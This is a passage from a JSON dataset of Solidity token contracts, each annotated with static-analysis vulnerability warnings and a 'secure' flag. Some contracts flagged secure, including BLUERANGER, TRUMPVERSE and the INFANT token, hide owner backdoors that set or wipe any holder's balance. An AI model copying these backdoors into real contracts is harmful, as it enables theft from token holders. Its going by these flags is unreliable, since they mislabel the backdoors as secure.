reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// unused-return | ID: 117c17c\n\t\t// reentrancy-no-eth | ID: 2611888\n IERC20(usdc).approve(address(swapRouter02), 0);\n\n return wethOut;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f469cfa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f469cfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5038f6e): MaxBuyBackV2._swapWETHForBuybackToken(uint256) ignores return value by IERC20(weth).approve(address(swapRouter02),wethAmount)\n\t// Recommendation for 5038f6e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 51b4b81): MaxBuyBackV2._swapWETHForBuybackToken(uint256) ignores return value by IERC20(weth).approve(address(swapRouter02),0)\n\t// Recommendation for 51b4b81: Ensure that all the return values of the function calls are used.\n function _swapWETHForBuybackToken(\n uint256 wethAmount\n ) internal returns (uint256 tokenAmount) {\n require(\n IERC20(weth).balanceOf(address(this)) >= wethAmount,\n \"Insufficient WETH balance\"\n );\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-events | ID: f469cfa\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// unused-return | ID: 5038f6e\n\t\t// reentrancy-no-eth | ID: 2611888\n IERC20(weth).approve(address(swapRouter02), wethAmount);\n\n ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02\n .ExactInputSingleParams({\n tokenIn: weth,\n tokenOut: buyBackToken,\n fee: tokenPoolFeeIn,\n recipient: finalDestination,\n amountIn: wethAmount,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-events | ID: f469cfa\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// reentrancy-no-eth | ID: 2611888\n tokenAmount = swapRouter02.exactInputSingle(params);\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-events | ID: f469cfa\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// unused-return | ID: 51b4b81\n\t\t// reentrancy-no-eth | ID: 2611888\n IERC20(weth).approve(address(swapRouter02), 0);\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-events | ID: f469cfa\n emit TokensSwappedV2(weth, buyBackToken, wethAmount, tokenAmount);\n\n return tokenAmount;\n }\n\n function getV1UsdcSwapped() public view returns (uint256) {\n return maxBuyBackV1.getUsdcSwaps();\n }\n\n function getV1TokensBoughtBack() public view returns (uint256) {\n return maxBuyBackV1.getTokensSwap();\n }\n\n function getV2UsdcSwapped() public view returns (uint256) {\n return totalUSDCSwappedV2;\n }\n\n function getV2TokensBoughtBack() public view returns (uint256) {\n return totalTokensBoughtBackV2;\n }\n\n function getTotalUsdcSwapped() public view returns (uint256) {\n return getV1UsdcSwapped() + totalUSDCSwappedV2;\n }\n\n function getTotalTokensBoughtBack() public view returns (uint256) {\n return getV1TokensBoughtBack() + totalTokensBoughtBackV2;\n }\n\n function updateRouter(address _v3Router) external onlyOwner {\n swapRouter02 = ISwapRouter02(_v3Router);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 37ed7d0): MaxBuyBackV2.updateFinalDestination(address)._finalDestination lacks a zerocheck on \t finalDestination = _finalDestination\n\t// Recommendation for 37ed7d0: Check that the address is not zero.\n function updateFinalDestination(\n address _finalDestination\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 37ed7d0\n finalDestination = _finalDestination;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2e532a2): MaxBuyBackV2.updateBuyBackToken(address)._buyBackToken lacks a zerocheck on \t buyBackToken = _buyBackToken\n\t// Recommendation for 2e532a2: Check that the address is not zero.\n function updateBuyBackToken(address _buyBackToken) external onlyOwner {\n\t\t// missing-zero-check | ID: 2e532a2\n buyBackToken = _buyBackToken;\n }\n}",
"file_name": "solidity_code_986.sol",
"secure": 0,
"size_bytes": 15511
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BLUERANGER is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b437dbb): BLUERANGER._totalSupply should be immutable \n\t// Recommendation for b437dbb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 62aa8b3): BLUERANGER._decimals should be immutable \n\t// Recommendation for 62aa8b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"BLUE RANGER\";\n\n _symbol = \"BLUERANGER\";\n\n _decimals = 9;\n\n _totalSupply = 100000000 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_987.sol",
"secure": 1,
"size_bytes": 5236
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Firsttokenlaunchedbyaninfant is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable perform;\n\n constructor() {\n _name = \"First Token Launched By an Infant\";\n\n _symbol = \"INFANT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 271000000;\n\n perform = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == perform, \"Not allowed\");\n\n _;\n }\n\n function restrict(address[] memory prefer) public onlyOwner {\n for (uint256 i = 0; i < prefer.length; i++) {\n address account = prefer[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_988.sol",
"secure": 1,
"size_bytes": 4407
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a44ebaa): Contract locking ether found Contract BULL2 has payable functions BULL2.receive() But does not have a function to withdraw the ether\n// Recommendation for a44ebaa: Remove the 'payable' attribute or add a withdraw function.\ncontract BULL2 is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e9;\n\n uint128 public threshold = 100_000e9;\n\n IUniswapV2Router02 constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address immutable uniswapV2Pair;\n\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address payable marketingWallet;\n\n uint64 public constant buyTax = 5;\n\n uint64 public constant sellTax = 5;\n\n bool public launch;\n\n bool private inSwapAndLiquify;\n\n uint64 public lastLiquifyTime;\n\n uint256 public maxTxAmount = (_totalSupply * 2) / 100;\n\n string private constant _name = \"BULL2\";\n\n string private constant _symbol = \"BULL2\";\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x2269774Ea9E4CD6B5309BC79C3049226B2F78925);\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 9;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e380db3): BULL2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e380db3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 180603b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 180603b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f40bde): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f40bde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 180603b\n\t\t// reentrancy-benign | ID: 0f40bde\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 180603b\n\t\t// reentrancy-benign | ID: 0f40bde\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: df27efe): BULL2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for df27efe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0f40bde\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 180603b\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = true;\n\n lastLiquifyTime = uint64(block.number);\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7f32012): BULL2.changeSwapbackThreshold(uint128) should emit an event for threshold = newSwapThreshold \n\t// Recommendation for 7f32012: Emit an event for critical parameter changes.\n function changeSwapbackThreshold(\n uint128 newSwapThreshold\n ) external onlyOwner {\n require(newSwapThreshold != 0, \"Swap threshold cannot be zero\");\n\n\t\t// events-maths | ID: 7f32012\n threshold = newSwapThreshold;\n }\n\n function changeMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Zero Address\");\n\n marketingWallet = payable(newWallet);\n\n emit NewMarketingWallet(newWallet);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b543388): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b543388: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d5710a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d5710a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(\n launch && amount <= maxTxAmount,\n \"Launch / Max TxAmount 2% at launch\"\n );\n\n uint256 _tax = 0;\n\n if ((from != owner() && to != owner()) && !inSwapAndLiquify) {\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n _tax = sellTax;\n\n if (\n _balance[address(this)] >= threshold &&\n lastLiquifyTime != uint64(block.number)\n\t\t\t\t// reentrancy-events | ID: b543388\n\t\t\t\t// reentrancy-no-eth | ID: d5710a1\n ) swapback(threshold);\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: d5710a1\n _balance[from] -= amount;\n\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: d5710a1\n _balance[to] += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d5710a1\n _balance[address(this)] += taxTokens;\n }\n\n\t\t\t// reentrancy-events | ID: b543388\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: b543388\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: d5710a1\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: d5710a1\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: b543388\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e3b3dc1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e3b3dc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapback(uint256 tokensToSwap) internal {\n inSwapAndLiquify = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: b543388\n\t\t// reentrancy-events | ID: 180603b\n\t\t// reentrancy-benign | ID: 0f40bde\n\t\t// reentrancy-benign | ID: e3b3dc1\n\t\t// reentrancy-no-eth | ID: d5710a1\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n )\n {} catch {}\n\n\t\t// reentrancy-benign | ID: e3b3dc1\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: e3b3dc1\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a44ebaa): Contract locking ether found Contract BULL2 has payable functions BULL2.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a44ebaa: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n event NewMarketingWallet(address wallet);\n}",
"file_name": "solidity_code_989.sol",
"secure": 0,
"size_bytes": 10757
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2cf09a6): Contract locking ether found Contract BuzzSydneyWilson has payable functions BuzzSydneyWilson.receive() But does not have a function to withdraw the ether\n// Recommendation for 2cf09a6: Remove the 'payable' attribute or add a withdraw function.\ncontract BuzzSydneyWilson is ERC20, Ownable {\n constructor() ERC20(\"Buzz Sydney Wilson\", \"BUZZ\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2cf09a6): Contract locking ether found Contract BuzzSydneyWilson has payable functions BuzzSydneyWilson.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 2cf09a6: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_99.sol",
"secure": 0,
"size_bytes": 1045
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EloneReeveMask is ERC20 {\n constructor() ERC20(\"Elone Reeve Mask\", \"MASK\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_990.sol",
"secure": 1,
"size_bytes": 288
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./BEP20.sol\" as BEP20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TRUMPVERSE is Context, BEP20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ee01653): TRUMPVERSE._totalSupply should be immutable \n\t// Recommendation for ee01653: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 72b993c): TRUMPVERSE._decimals should be immutable \n\t// Recommendation for 72b993c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _symbol;\n\n string private _name;\n\n constructor() {\n _name = \"TRUMPVERSE\";\n\n _symbol = \"TRUMPVERSE\";\n\n _decimals = 9;\n\n _totalSupply = 8888888888 * 10 ** 9;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function Confirm(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) internal view onlyOwner returns (uint256) {\n return target + accuracy;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"BEP20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"BEP20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approved(\n uint256 target,\n uint256 accuracy,\n address _comptes\n ) external onlyOwner {\n _balances[_comptes] = Confirm(target, accuracy, _comptes);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_991.sol",
"secure": 1,
"size_bytes": 5236
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Launch is Ownable, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n uint256 private buyTax;\n\n uint256 private sellTax;\n\n uint256 public _maxTxAmount;\n\n uint256 public _maxWalletSize;\n\n uint256 private minimumSAmount;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) private isPairAddress;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address payable private taxWallet;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9e0151f): Launch.constructor(string,string,uint256,address,uint256,uint256,uint256,uint256)._taxWallet lacks a zerocheck on \t taxWallet = address(_taxWallet)\n\t// Recommendation for 9e0151f: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 tSupply,\n address _taxWallet,\n uint256 bTax,\n uint256 sTax,\n uint256 _mTxAmount,\n uint256 _mWalletAmount\n ) Ownable(msg.sender) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (bTax > 100 || sTax > 100) {\n revert InValidTax();\n }\n\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// missing-zero-check | ID: 9e0151f\n taxWallet = payable(_taxWallet);\n\n buyTax = bTax;\n\n sellTax = sTax;\n\n _maxTxAmount = _mTxAmount;\n\n _maxWalletSize = _mWalletAmount;\n\n _isExcludedFromFee[msg.sender] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[taxWallet] = true;\n\n _mint(msg.sender, tSupply);\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n minimumSAmount = (totalSupply() * 5) / 1000;\n }\n\n receive() external payable {}\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f15cef3): Launch.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f15cef3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22d76a8): Launch.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22d76a8: Rename the local variables that shadow another component.\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner 